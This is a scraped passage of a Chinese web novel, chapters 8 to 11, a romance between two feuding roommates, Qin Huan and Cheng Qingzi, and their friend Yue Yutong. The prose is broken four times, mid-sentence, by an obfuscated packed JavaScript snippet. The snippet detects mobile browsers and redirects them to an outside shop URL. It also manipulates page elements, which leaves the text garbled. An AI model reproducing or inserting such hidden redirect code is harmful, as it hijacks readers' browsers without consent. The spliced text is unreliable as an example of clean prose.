岳雨桐从实验室里出来,换下实验服,打开柜子取出包。 抬手划开手机锁屏,有几条消息弹了出来,岳雨桐扫了一眼,轻轻笑了起来,发了句恭喜过去。 视线在秦欢发来的第二句话上顿了顿,脸上的笑慢慢淡了下去,她咬了咬唇,心说:……要不要说呢? 轻轻摇了摇头。 她知道秦欢最近找工作碰壁有点多,也知道这家公司给出的待遇确实算可以了。 算了……就算是同一家公司,也不一定是同一个部门。再者秦欢星期一就上班了,到时候是去是留由她自己决定。 从和秦欢的聊天界面退出来,岳雨桐点开另一个对话框,发过去一句:【内推的事,谢谢你。】 那头很快回复:【没事。】 - 秦欢吃完饭坐地铁回到家,时间已经很晚了。 推开门,客厅亮着灯。 程清姿比她先到家,正坐在沙发上抱着笔记本电脑,似乎还在处理工作。她换上了一身蓝色的家居服,长发散着,面前的茶几上放了个啃了几口的面包。 听见开门声,女人抬眸朝门口扫了一眼,目光淡淡掠过,又落回了屏幕。 秦欢下意识地一怔。 她抿着唇,默念那句:她不问,你不说。她一问,你惊讶。 她定了定神,故作自然地关上门,转身进房间换衣服。经过程清姿卧室时,余光瞥见那扇门已经关上了。 随手关门是好习惯。 到家第一件事是洗澡。 秦欢从衣柜里拿出睡衣,抱着走向卫生间。推开门,一股带着香气又潮湿的水汽迎面扑来。 地面还是湿的,程清姿刚洗过不久。 秦欢在门口顿了顿,察觉身后有一道视线落在自己背上,脊背不由得微微一僵。她抿了抿唇,昂首挺胸走进去,反手关上门。 程清姿用的什么沐浴露或者洗发水,这么香? 吸了吸鼻子,秦欢忽地反应过来,猛地蹙眉——香什么香?绝对是臭的!而且香的臭的先不说,洗完澡不知道开换气扇吗!熏死她了! 秦欢恶狠狠地想,恶狠狠地把换气扇打开,恶狠狠地脱掉衣服。 水流从头顶淋下,温热的水汽逐渐冲淡了她的烦躁。氤氲雾气中,她的目光不经意掠过沐浴架另一端——那是程清姿的领地,整齐排列着好几瓶沐浴露、身体乳、洗发水、发膜和护发精油之类的。 她凑近些扫了几眼,心里轻哼:真够讲究的。 洗完澡吹完头发后,秦欢原本想去沙发上坐会儿,现在时间还早,她还不想回房间休息,抬眸看见沙发上那冰山美人,秦欢顿了顿,生了怯。 得了,她去阳台上透会儿气。 楼层高,能看见城市夜景,漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149544|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大气,不远处还能看见双子塔,不知道是哪个明星生日,双子塔上滚动着应援口号。 视线收了回来,落在阳台上,阳台上光溜溜的,冷冰冰的,又空荡荡的,秦欢看着看着就想养点什么植物之类的。 她托着下巴开始琢磨,手机忽然响了。 一看来电显示——是她妈秦玉珍。 三个月前和家里那场架,到现在谁也没服软,可也没人再提。之前试过几回,说不上两句就呛起来。母女俩都吵疲了,再加上秦欢好久没回家,亲情“远香近臭”起来,难得的说话时间,于是母女两也默契不提。 秦玉珍不放心她来鹭围,又知道女儿性子倔,自己说服不了她,因此转而问起她租房和工作的事,问她还有钱没。 “钱够的。”母女俩还在冷战,秦欢哪肯低头跟家里要钱,那点倔强的自尊心更是不允许。她微微抬起下巴,语气里带了几分刻意的炫耀,说自己找了份不错的工作,租的房子也合心意。 “公司环境好,福利待遇也不错,基本不用加班,到点就能走。上司人也和气,是个温柔的大姐姐,看我年纪小,挺照顾我的。”她面不改色地编着瞎话,“合租室友特别好,爱干净、会照顾人,亲切又有礼貌。” 脑海里浮现程清姿那张冰山脸,秦欢哆嗦了一下,“嗯……反正就挺好的。” 秦玉珍在那头“嗯”了一声,叮嘱她几句天气变化注意感冒,没多久后挂了电话。 秦欢刚放下手机,一转身就撞见程清姿站在身后不远处。 惊得秦欢往后一退:“程清姿你干嘛!” 刚才的话不知道程清姿听了多少。 秦欢抿着唇,慌张解释:“刚才那句合租室友特别好可不是夸你,那是我哄我妈的,没有夸你的意思!” 阳台没开灯,光线从客厅漏出来,斜斜地穿过玻璃门,落在两人之间的地板上,切割出一片明暗交错的区域。 程清姿站在那里,侧着光,鼻梁的线条显得格外挺直,整个人带着一股冷寂。她忽然抬腿,朝秦欢走近。 一股淡淡的、好闻的洗发水香气随着她的靠近弥散过来。 秦欢如临大敌,下意识往后退了几步,背抵上了冰凉的不知道什么东西。后知后觉地,她意识到自己在慌什么,手往后摸索着撑住身后硬物,抬起下巴,试图不让气势落下风:“你干嘛?” 晦暗的光线会给人错觉。 这是秦欢四个月前得到的教训。 程清姿比她高些,身影靠近时,带着一种无声的压迫感。她的目光扫过来,却好像没有在看秦欢的脸,而是……笔直地、毫无遮掩地,落在了她的唇上。 那视线的意图太过明确,秦欢几乎瞬间就察觉到了。 她抿紧唇,想要避开那道目光,声音不住地发颤:“程、程清姿……我告诉你,我……” 程清姿并未被她色厉内荏的警告吓退。 昏暗光线下,清冷眉眼显得格外深邃,在秦欢眼中慢慢放大,她听见程清姿平稳的呼吸,她闻到程清姿身上清浅的气息。 手撑在身后,身体不由自主地向后仰,想要拉开距离,躲开这让人难受的迫近。 偏过头,视线无助地扫向楼下,落在不远处那片流动的、红色的车河尾灯上。 程清姿忽然极轻地笑了一下,不再往前逼近。 伸出手,动作很慢。 穿过明灭光影,像要触碰眼前人的脸。 不知是谁的心跳先叛逃。 8. 第 8 章 “够了——” 哑然哀求即将出口,程清姿伸出的手忽然在她眼前,极自然地越过她脸颊,落在了她身侧,沉下。 咚、咚、咚。 骨节分明的手指敲了敲秦欢身后的洗衣机盖子,程清姿的嗓音依旧清冽,听不出半分波澜: “我衣服洗好了,要晾。借过。” 秦欢被她这冷淡的声音和无关紧要的话泼了一身凉。 艰难回头,她撇了眼身后手掌撑着的洗衣机——好死不死,怎么就在她身后。 闭眼。深呼吸。 睁眼。 抬手,一根手指戳在程清姿肩膀,把那过于靠近的身体往后推了推,“我跟你很熟吗程清姿?要拿衣服就拿衣服,能不能别靠这么近?” 秦欢数落起她的罪:“还有,你走路能不能出个声?能不能别偷听别人说话?洗完澡能不能开换气扇透透气?晚上睡觉能不能关下门——” 最后一句叉掉。 秦欢顿了顿,侧身让开位置,不忘冷笑一声:“好歹是合租,拜托你有点公德心,好吗?” 程清姿拉开洗衣机盖子,低头去拿衣服,随后动作停了停。她扭过头,目光平静地看向还气得发颤的秦欢,沉默了两秒,开口: “好。” 就这么顺从地接了秦欢这通莫名其妙的火气。 秦欢想象过程清姿会冷言相讥,会漠然无视,甚至可能反唇相讥。唯独没料到,她竟然就这么认下了。 这一下反倒把秦欢噎得说不出话,胸口那股无名火像撞上了一团冷雾,闷闷地散不出去,也烧不起来。 秦欢只能别过头,趴上冰凉的阳台护栏,看向远处灯火通明的双子塔,强迫自己转移注意力。 身旁传来细微动静,脚步声,衣料摩擦的窸窣声,衣架和晾衣杆碰撞的轻响。 程清姿在晾衣服。 快晾吧,晾完赶紧走,她想在这儿吹会儿风。 秦欢正想着,忽然听到身侧那人问: “找到工作了?” 语气平静,听不出情绪。 秦欢不想跟她说话:“关你屁事。” 话很尖锐,按照程清姿那性子应该不会再和她说话了,偏偏秦欢听到了一声极轻的笑。 落在昏暗里,激得秦欢后颈泛起细密的疙瘩。她没忍住,扭头看去—— 程清姿果然在笑。 唇角很浅地勾了一下,目光撞上秦欢转过来的视线,那点笑意便倏地熄了,恢复成平日冷淡的模样。 秦欢:“……” 既然相看两厌,程清姿又何必没话找话。 “你刚才说,你新上司是个温柔大姐姐,很照顾你?” 秦欢脸色一变:“你果然在偷听!” 程清姿把晾衣杆收到角落,走到秦欢身旁,手臂随意搭在阳台护栏上,“我没否认。” 秦欢默不作声往旁边挪了点,咬着牙道:“是啊,我上司是个超级漂亮的温柔大姐姐,善解人意、温婉大方……怎么,你嫉妒了?” 程清姿没应声。 吹了片刻晚风,她像是觉得和秦欢没什么可说的,转身往客厅走。 走到阳台门边时,又停下脚步,回头淡声道:“离这儿最近的三甲医院顺着这条街直走八百米。明天周六,体检的人多,你要做入职体检的话,最好早点去,早上十点钟之前完成的体检,下午三点就可以拿到体检报告。” 秦欢头也没回,后脑勺坚定地对着程清姿:“哦。” 风有点大。 秦欢站在阳台上,抱着手臂,缩了缩肩膀。 鹭围的夜景真不错,不愧是大城市。 双子塔上的字变了,距离有点远,秦欢没太能认出那是什么字,风声和车声灌入耳朵,秦欢忽然恍惚一瞬。 以后就在这里工作生活了。 探出头去,仰头看了看黑沉沉的天,哎嘿,今晚居然有月亮。 她掏出手机拍了几张照片,又刷了半个小时的短视频,这才拉开阳台门进入客厅。 回头关门时扫了眼阳台外空荡荡的地板,怎么看都觉得不顺眼。 程清姿正在沙发上看剧,那块一看就难吃的面包还放在她面前的茶几上,和秦欢刚回来那会儿没什么变化。 秦欢在沙发的另一头坐下,想起程清姿那句好心的提醒,语气软了些,“你晚饭就吃这个?” 程清姿顿了顿,偏头看她,“还喝了一杯牛奶。” 她微微弓身,伸手拿起那干瘪的面包,又咬了一口。坐回去,把暂停的综艺点击继续播放。 秦欢轻轻点头,低头看手机。 又没话讲了。 没话讲是她和程清姿相处的正常状态——从前秦欢没少参加她、岳雨桐、程清姿的三人饭局,她最害怕的就是岳雨桐去上厕所的那段时间,找不到话讲,气氛冷凝,对面好似坐了个活阎王。 每分每秒都坐立难安。 如今没了岳雨桐在中间调和,两人之间的空气更是冷得像在南极。秦欢晃了晃头,低头滑动手机屏幕,逼迫自己转移注意力,开始浏览起适合在阳台养的盆栽。 看着屏幕上那些鲜绿可爱的花草,她的心情不自觉地明亮起来,脑海里已经浮现出阳台被花叶挤满、生机盎然的模样。 一时冲动就想直接下单,指尖顿了顿,秦欢还是只将它们一一加入了购物车。 抬起头,余光悄悄落向沙发另一端的程清姿。 到底是公共区域,养不养的还是得问问合租室友。 “那个……”还是不习惯叫程清姿全名,好在程清姿听见声音后就抬起头了,秦欢接着道,“我想在阳台养几盆花草,那里阳光比较好,正好位置也空——” 她顿了顿,又说:“你放心,不会占太多位置的,我也会打扫好的。” 程清姿静静看着她,长睫掩映下灰色瞳孔轻轻动了动,似在思考。 “你想养什么植物?” 声音冷淡,但听起来不太像反对。 先了解具体是什么植物,再判断自己能否接受,最后才给出答复,这确实是程清姿一贯的行事风格。 秦欢低下头,把意向的盆栽截图,“我发给你看。” 程清姿垂眸扫了她一眼,很轻地“嗯”了一声,唇角几不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149545|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可察地抬了抬。 她拿起茶几上那块干瘪的面包,又咬了一小口。面包实在太干,她端起牛奶,缓缓喝下一口。 她咀嚼得很慢,动作也慢。余光里,秦欢截图分享的动作忽然停住了。 收回视线,程清姿继续慢条斯理地嚼着面包,唇角轻轻勾了一下。 灯光从头顶落下,沙发上的影子晃了晃,秦欢无助地摸了摸脸: 完蛋,忘了把程清姿拉黑删除这事了。 算了,拉黑这件事程清姿不问,她不说。万一程清姿要问起来……有什么好问的!程清姿有什么资格问她! 做好心理准备,秦欢笑盈盈转过头,屁股往程清姿的方向挪了几步,“我直接给你看吧。” 程清姿放下牛奶,偏头,抬眸,视线却没有落在秦欢拿过来的手机上,而是落在她脸上,看不出什么情绪,秦欢心口却忽然一紧。 好在那道视线很快又垂了下去,“嗯。” 秦欢把手机屏幕转向她。 程清姿低头看着,忽然抬手,指尖轻轻搭在了秦欢的手腕上。冰凉的、温润的触感让秦欢心头一跳,手机险些没拿稳飞了出去。 程清姿被她这反应引得抬了眼,眼神里带着一丝疑惑:“近点。” “噢噢。” 秦欢闷声应着,手乖乖把手机往前递,上半身却不动声色地向后倾,竭力和程清姿拉开距离,避免和程清姿有身体接触——气息接触也不行! 秦欢一张张翻给她看。 程清姿一张张挑毛病:这个不好养,那个太娇气,这种容易生虫,那种开花太呛人了…… 秦欢越听越觉得对方在故意针对自己,忍不住指着屏幕据理力争:“这个、这个阳光足够了就不会生虫的!我们阳台阳光这么好,百分百不生虫!还有这个开花哪里呛人了,明明这么清香,阳台有风,又是室外……” 程清姿忽然在某个时刻不说话了。 秦欢“哼”了一声,抬起头:“被我说服了吧——” 话音戛然而止。 鼻尖对着鼻尖,距离只差毫厘就能碰上。 程清姿温热的呼吸轻轻扫在她鼻尖上,那双惯常清冷的眸子周围此刻像蒙了一层薄雾,瞳孔很漂亮,静静望着她。 眉眼浓墨,睫毛纤长,灰色的瞳孔里模糊映出秦欢怔愣模样。 ——因为要一起看手机,两人不知不觉挨得极近,彼此呼吸清晰可闻。 秦欢猛地回过神来,像被烫到似的,从沙发这头弹射到了另一头。 她动作太大,握着的手机脱手飞出,在空中划了道弧线,眼看就要摔在地板上,紧接着被一只玉骨似的手稳稳接住。 程清姿轻轻吁出一口气,转过头,目光落向缩在沙发另一头、似受了很大惊吓的秦欢身上。她歪了歪头,身体往前探了探,把手机递过去。 “好吧,都可以。但盆栽只能放在阳台,不能搬进客厅。” 声音听起来有几分怪异的温柔。 见对方不接,程清姿只好把手机轻轻放在她身旁的沙发上,接着开口: “有件事忘了告诉你,昨天晚上……” 9. 第 9 章 话还没说完,秦欢脑中一阵尖锐嗡鸣,她来不及多想,抢着开口: “噢噢!昨天啊……昨天天气挺好的!今天天气比昨天还好呢!今晚上有月亮,明天天气会更好!噢噢对了,你明天要跟雨桐出去吃饭是吧,那真是恭喜你了,哈哈!” 有点太欲盖弥彰了。 好在,方才那点微妙的气氛瞬间消散了。 秦欢盯着地板上的反光,脸上挂着尴尬的笑,内心难得在苦苦哀求程清姿:求求了,别说……别说好吗? 让她过两天消停日子吧。 她咬着唇紧绷着身体,手掌紧抓沙发扶手,一副随时准备逃跑的姿势。 程清姿唇角扯起一抹很淡的冷笑,目光在秦欢脸上停了停,似乎想说什么。 最终却只垂眼,转过头去,将剩下的话咽了回去。 转而改口:“恭喜就不必了,吃一顿饭你要恭喜我一句,那你不知道欠了我多少句恭喜,怕你恭喜不过来。” 声音是冷的,程清姿这会儿心情大概很不好。 秦欢听得出来。 每每一提岳雨桐这人就变脸,秦欢也习惯了,别过头小声哼了一声,怂怂地垂下眼看手机。 总归程清姿是同意了她在阳台养植物,秦欢打算明天去做完体检后去附近的花鸟市场逛逛。 她斜斜靠着沙发另一边扶手,看了一会儿手机就困了,明天要早起去体检,因而也就起身回房间睡觉了。 晚上睡得早,秦欢周六早晨起来,只觉得神清气爽。 果然如程清姿所说,周六医院的人格外多。秦欢自认为到得算早的,却也排了近一个小时的队。 做完所有体检项目,她已饿得前胸贴后背。匆匆吃过午饭,回来时又顺路买了米、油和一些调味料。吃了这么久外卖,她实在腻得慌,眼下有这么宽敞的厨房,不利用起来未免可惜。 下午三点,秦欢午睡结束,爬起来换衣服,去医院取体检报告。 匆匆扫了一眼报告,没什么异常的,秦欢在医院门口的复印店复印了一份——入职的体检报告她只打算交复印件,万一那家公司是个大坑,方便她及时跑路,下一份工作继续用这个体检报告。 回来的路上秦欢买了些菜,晚餐做了白菜汤和青椒炒肉丝。今天火候掌握得不错,味道不错,秦欢很有成就感,只可惜没人分享,缺个在旁边夸夸的人。 莫名其妙往程清姿房门瞟了一眼。 程清姿这会儿应该在和岳雨桐吃晚饭。 乐死她了吧。 秦欢冷冷地想着,往嘴里塞了一大口饭。 吃完饭,她抱着膝盖蹲在沙发上,决定给程清姿添点堵,拿起手机给岳雨桐发了好几条消息——发什么不重要,反正能从程清姿手上抢走岳雨桐的时间和注意力,就算胜利。 * 火锅店里人来人往,热气蒸腾。 岳雨桐涮了片肥牛,和对面的发小继续闲聊:“和新室友处得怎么样?” “还行。”程清姿顿了顿,语气平淡地补充,“就是有点小麻烦。” 岳雨桐眨了眨眼,担心地问:“什么麻烦?” 程清姿抬眸看向好友,不知想到了什么,轻轻扯了下嘴角。 这不太像笑。 “难道是性格不太合?还是生活习惯差太多了?”岳雨桐试着猜。 她知道程清姿向来不太适应合租,之前还听她提过想把这套房子整租下来,以程清姿现在的收入也完全负担得起。可刚才问起时程清姿又改了口,说合租倒还不错。 坐在对面的发小摇了摇头,用平淡的、寻常聊天气般的语气说: “自、慰被她看见了。” “噗——!” 岳雨桐一口饮料险些呛出来,连忙抽纸巾擦嘴,咳了好几声才缓过来:“咳咳你……你说什么?!” 程清姿看着她,语气平淡地重复:“自|慰被她——” “停停停!” 岳雨桐慌忙扫了眼四周,深吸一口气压低声音,“我知道了我知道了!” ……这确实是个麻烦。 不过依照程清姿这副泰山崩于前而面不改色的心理素质,岳雨桐觉得对面那位室友面临的麻烦,恐怕比程清姿的要大得多。 她真心诚意地提建议,“要不你给她买个小礼物,道个歉什么的,这个……不小心撞见这个东西,确实,双方都挺尴尬的。” 不过……为什么会撞见啊?程清姿总不能是在客厅搞的吧? 应该不会,或许有什么误会。 还没等岳雨桐想个明白,对面的程清姿又开口了。 “不是不小心。”程清姿面色如常,好像在谈论哪个菜该下锅里了,“我是故意的。” 岳雨桐:“……哈?” 头皮发麻,岳雨桐怀疑是不是今天做实验的时候通风橱没关好,导致这会儿出现幻觉。 程清姿好似并不觉得自己说了什么惊天地泣鬼神的话,看着发小宕机的表情,轻轻笑了下,决定放过她:“开玩笑的。” 岳雨桐狐疑地看着她,缓缓开口:“清姿,你是不是上班上傻了?” 程清姿站起身,用漏勺将旁边的虾滑拨进锅里,“或许吧。” 岳雨桐表示理解:“我有段时间实验复现不出来也这样。” 程清姿将空碗叠在一边,目光不经意地扫过岳雨桐放在桌上、屏幕频频亮起的手机,轻声提醒:“有人找你,好像很急。” 视线在屏幕弹出的“欢欢”二字上,极其短暂地停留了一瞬,又不动声色地移开。 岳雨桐“哦”了一声,拿起手机看了下。 见不是课题组和导师发来的消息,她松了一口气,但是…… 岳雨桐下意识看了对面的程清姿一眼。 程清姿垂下眼,端起茶杯抿了一口。 茶水澄澈,映出女人低垂眉眼。水面轻轻一晃,倒影里那双眼睛的弧度,似乎也跟着弯了弯。 她笑了笑,抬眸看向岳雨桐:“不回吗?” 岳雨桐表情有点为难。 想了想,还是决定如实告知:“是秦欢发来的消息。” 她吸了一口气,再度扮演起久违的和事佬角色,“你看,你们也冷战这么久了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149546|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她现在也来鹭围了,而且你还帮忙给她内推,反正以后在公司也会见面,不如……” 不如握手言和。 茶杯在指尖轻轻转了一圈,程清姿的视线落向空中某处,声音很淡:“她是这么想的?” 岳雨桐哽了一下,解释道:“她还不知道……帮她内推的朋友是你。” 而且…… 岳雨桐没有说出口的是,秦欢那边的情绪,似乎比程清姿这边要强烈得多,是绝不可能主动求和的。 尽管岳雨桐不明白,一件小事两人怎么就吵成那样了。 锅底咕嘟咕嘟沸腾着,岳雨桐抬手示意服务员过来加汤。 程清姿明了岳雨桐的未尽之言,淡淡垂眸:“再说吧。” 话音落下,岳雨桐放在桌上的手机又震动了几下。 真是急啊。 程清姿冷冷勾了下唇角。忽而抬眼,朝岳雨桐道: “对了,一会儿去我那里吧。” - 秦欢吃完饭窝在沙发上打游戏,看了眼时间,决定去洗个澡。洗完澡,换上睡衣对着镜子吹头发,头发吹得半干,她放下吹风机,对着镜子臭美了一会儿,开始擦水乳。 忽而听到门外传来动静,秦欢心道应该是程清姿回来了,她没太在意,继续对着镜子擦护肤品,卫生间灯光不错,洗完澡皮肤状态很好,秦欢没忍住对着镜子臭美。 忽然“嗡”一声,卫生间的门毫无预兆地被人从外面打开。 秦欢猛地扭头,只见程清姿就这么堂而皇之地走了进来,秦欢蹙眉道:“我还在用——” 对方忽而几步上前,一手撑在她耳侧的镜子上,另一只手快速捂住了她的嘴。 体温微凉,贴在她才洗完澡滚烫的皮肤上。 秦欢被这突如其来的贴近惊得浑身一紧,刚要炸毛,一股带着体温的酒气已先一步缠了上来。 “别说话。” 带着微醺酒气的呼吸拂过耳畔,秦欢太阳穴突突直跳,身体不由自主地顺着那压低的气音安静下来,小声问:“你干嘛?” 程清姿声音贴着她耳廓,丝丝麻麻的,“我上个厕所。” 秦欢:? 莫名其妙,上个厕所捂她嘴干嘛? 垂眸,视线落在程清姿骨节分明的手上。 秦欢很不爽。 ——她跟程清姿很熟吗?就这样直接上手! 而且程清姿要上厕所她肯定要出去啊! 猛地推开程清姿捂着自己嘴的手,秦欢扭头往外走,还没走两步,手腕再次被程清姿握住。 秦欢回头,疑惑地看着似乎在发酒疯的程清姿。 程清姿望着她,却忽然笑了笑。那笑容在卫生间冷白的灯光下,显得有些渗人。 秦欢直觉她不怀好意。 下一秒,程清姿朝门外偏了偏头,轻轻挑了下眉。 秦欢不明所以。 但就在一两秒的犹豫后,她听到了卫生间门外传来一道温和熟悉的女声:“清姿,你室友呢?” 秦欢浑身一僵。 这是……岳雨桐的声音。 10. 第 10 章 岳雨桐怎么会出现在这里? 她不可置信地看向程清姿,对方神色淡定,甚至有几分明显的戏谑,那双水雾似的眼睛定定望着秦欢,似在欣赏她的惶然。 秦欢的确在惶然。 岳雨桐晚上到程清姿这里来……是什么意思?难道她们两人的关系已经发展到这种程度了吗? 这是合租房,没有单独给岳雨桐的房间,岳雨桐要在这里留宿,必定要和程清姿一起睡。 秦欢咬着唇,胸口的气一时顺不下去,张着唇吐息,呼吸声炸耳。 想了想觉得不对。 对于岳雨桐来说,和女生同床共枕或许没什么大不了的,岳雨桐就和秦欢同床共枕过——可那是秦欢友情还没变质的时候! 如今程清姿明明就对发小抱有不寻常的心思…… 秦欢吸了一口气,看着程清姿咬牙道:“你什么意思?” 怕客厅里的岳雨桐发现,她声音压得很低,几乎是气声。 程清姿没理秦欢,只是对着门外大声道:“可能是出去吃夜宵了,过会儿再回。” 她松开秦欢手腕,转身,对着洗漱台挤了一泵洗手液,对着水龙头冲洗。 秦欢感觉脑子嗡嗡疼,她伸手把门关紧,反锁,扭头气冲冲走到程清姿跟前。 “你把雨桐骗回来,想干什么?”声音依旧很低,咬牙切齿,“程清姿,你卑鄙无耻下流!明知道她没有那样的心思,你还……” 这种程度的指责对程清姿来说无关痛痒,她自顾自拿毛巾擦手,好似没有听到秦欢的话,弓身对着洗漱台前的镜子,抬手把头发压到耳后去。 秦欢要气到冒烟。 她以为程清姿这人只是性格有点冷,起码人品还是有,没想到真有这样龌龊的想法并且付诸实践,还是专挑她在的时候—— “你故意的。”她受不了程清姿冷暴力似的无视她,抬手抓住程清姿手腕,“把人带回来,怎么着,想宣誓主权是吧?” 程清姿侧身,视线垂下去,落在秦欢那只皮肤微红的手上。 “是想宣誓主权,可惜某人不配合。” 女人脸上是无关痛痒的冷淡表情,导致说出来的话欠揍程度加倍,秦欢冷笑一声,“我有病我才配合你。” 既然程清姿本性暴露了,她没必要顾念着两人过去那一两分情谊,她要跟岳雨桐摊牌,让岳雨桐知道她的发小是个这么恶劣下流的人。 转身要往外走,又被程清姿抬手拦住,秦欢声音一点不收:“让开!” 程清姿几步挡住她去路,好心提醒:“你最好小声一点。” “我要告诉她,你喜欢她,你今晚还打算……”喉咙滚了滚,秦欢道,“叫她知道你是个这么无耻的人。” 如果两人真是两厢情愿只是还未捅破,秦欢做这个小丑也心甘情愿,但凡岳雨桐有一分不愿,秦欢决不能叫程清姿得逞。 “我今晚打算怎么了?雨桐来拿个东西怎么就成我骗她了?我骗她什么?” 望着秦欢愣住的表情,程清姿偏了下头,她盯着秦欢变化莫测的表情,像是忽然明白了什么,笑了下,往前逼近一步,“你以为我要干什么?” 秦欢:“我……” 别开视线,转移话题,“雨桐是来拿东西的?她今晚不住在这儿?” “鹭围大学离这里又不远,她为什么住在这儿?而且她明早还要去实验室。” 秦欢:…… 心虚了一下。 余光瞥见程清姿微微勾起的眼尾,秦欢恍然大悟,理直气壮起来:“你故意的!” 报复她吃饭的时候一直给岳雨桐发消息,抢占了她的时间。 “我故意什么?故意让你骂了我一百遍无耻龌龊下流?” 程清姿才洗了手,柠檬香的洗手液气息淡淡散开。她身上也染了一点,一步步朝秦欢靠近的时候,那股清淡的香气也跟了过来。 秦欢到底理亏,声音低了下去:“……我给你道歉行了吧。” 程清姿冷哼一声。 不过转瞬,秦欢就找到了逻辑不通的地方:“那你干什么不许我出去?” 难不成程清姿真是个暴露狂,上厕所也要个人在旁边看着? ——咦惹,恶心! 大约是那点嫌弃的表情一时没藏住,程清姿的脸色顿时就不对了。冷还是惯常的冷,眼底却多了几分沉沉的阴翳。 秦欢结巴起来:“我……我没有在心里骂你!” 哼哼,骂的就是你,哪个正经人□□蒙眼自|慰,而且还不关门啊? “秦欢。” 程清姿又连名带姓地叫她,秦欢背脊不自觉地一僵,随后程清姿的声音不紧不慢飘了过来,带着点看好戏的凉意: “你也不想让雨桐知道……我们俩现在同居吧?” 秦欢脑子宕机了一下。 哈? “程清姿你有病吧?什么叫同居呀?我们这叫合租,不叫同居!你不要乱……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149547|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她气得音量拔高,话音未落,自己先猛地刹住了。 ——声音太大了。 慌忙抬手捂住了嘴。 “清姿?”脚步声在往卫生间靠近,岳雨桐的声音隔着一道门传来,“你怎么了?你没事吧?” 秦欢慌张看向卫生间玻璃门,忽地想到了什么,身体猛地往墙边贴。 门反锁着,岳雨桐进不来,但这破门似乎会透出影子,要是透出两个人的影子那就不好解释了。 “清姿?” 那声音又近了,是秦欢十分熟悉的音色,她像只壁虎似的贴在墙上,眼珠慌乱滚着,视线最后落回了程清姿身上。 她眨眼示意:说话呀,程清姿! 程清姿并未领会她的眼神,似是觉得她这姿势十分好笑,唇角浅浅勾着,笑意并不明显,那笑意很淡,依然没什么温度。 背后是冰冷的瓷砖,门外逼近的脚步声却越来越清晰。秦欢喉咙发紧,完全猜不透程清姿到底想干什么。 程清姿说得没错,秦欢确实不想让岳雨桐知道自己和程清姿合租。 两个针锋相对的情敌转头住到了一起,听起来像什么话……而且她根本不想和程清姿合租的,现在这是没招了! 她的脸还要不要了。 秦欢也不想岳雨桐误会自己和程清姿之间有什么,或者误会她们和好了,关系密切。 她本以为程清姿也是这么想的,程清姿理应也这么想。可眼下……这人到底在盘算什么? 所有疑惑,在程清姿微微抬起下巴、目光落向她、嘴唇无声翕动的那一刻,找到了答案。 “求求我。” 程清姿眉梢轻轻下压,脸上是一种近乎有恃无恐的、不该出现在她这张冷淡面容上的、近乎张扬的笑意。 她没有发出声音,但秦欢从口型里读懂了。 瞬间怒从心头起:程清姿这个混蛋! 一时间被气懵了,恶向胆边生,她学着程清姿的样子动了动嘴唇,目光变得十分轻佻:“只有你求我的份……” 她不像程清姿只是比嘴型,而是出了一点气声,确保程清姿能听清楚。 轻佻打量的视线刻意地,慢条斯理沿着程清姿的腰线往上,一寸寸描摹过衬衫下起伏的轮廓,最终落在程清姿脸上。 和程清姿冷冷的目光对上。 空气骤然凝固。 秦欢确信,若非岳雨桐在门外,下一秒程清姿就要和她来一场自由搏击了。 11. 第 11 章 咚、咚、咚。 敲门声及时出现,打破一触即发的世界大战氛围,秦欢莫名松了口气,一想到门外是岳雨桐,那口气又吸了回去。 “清姿?”岳雨桐问,“我刚刚听到里面有动静,你没事吧,你是在打电话吗?” 秦欢贴在墙上,垂着头。 冲动褪去,秦欢后悔嘴快了,余光半分都不敢落在程清姿身上。 那……对程清姿来说是个耻辱吧。 毋庸置疑。 不然程清姿怎么会这么恨她。 可是秦欢也委屈,又不是她故意的,明明一开始是程清姿……怎么说也不是她一个人的错。 眼眶蒙上了一层水雾,熏得秦欢脑子疼。 她吸了吸气,心道,开门吧,就这样吧。 把所有一切都和岳雨桐说,连那件事也一起摊开。 程清姿要觉得这事影响她对岳雨桐的真心,玷污她对岳雨桐的情谊,秦欢可以当证人——情敌充当证人,够有分量了吧。 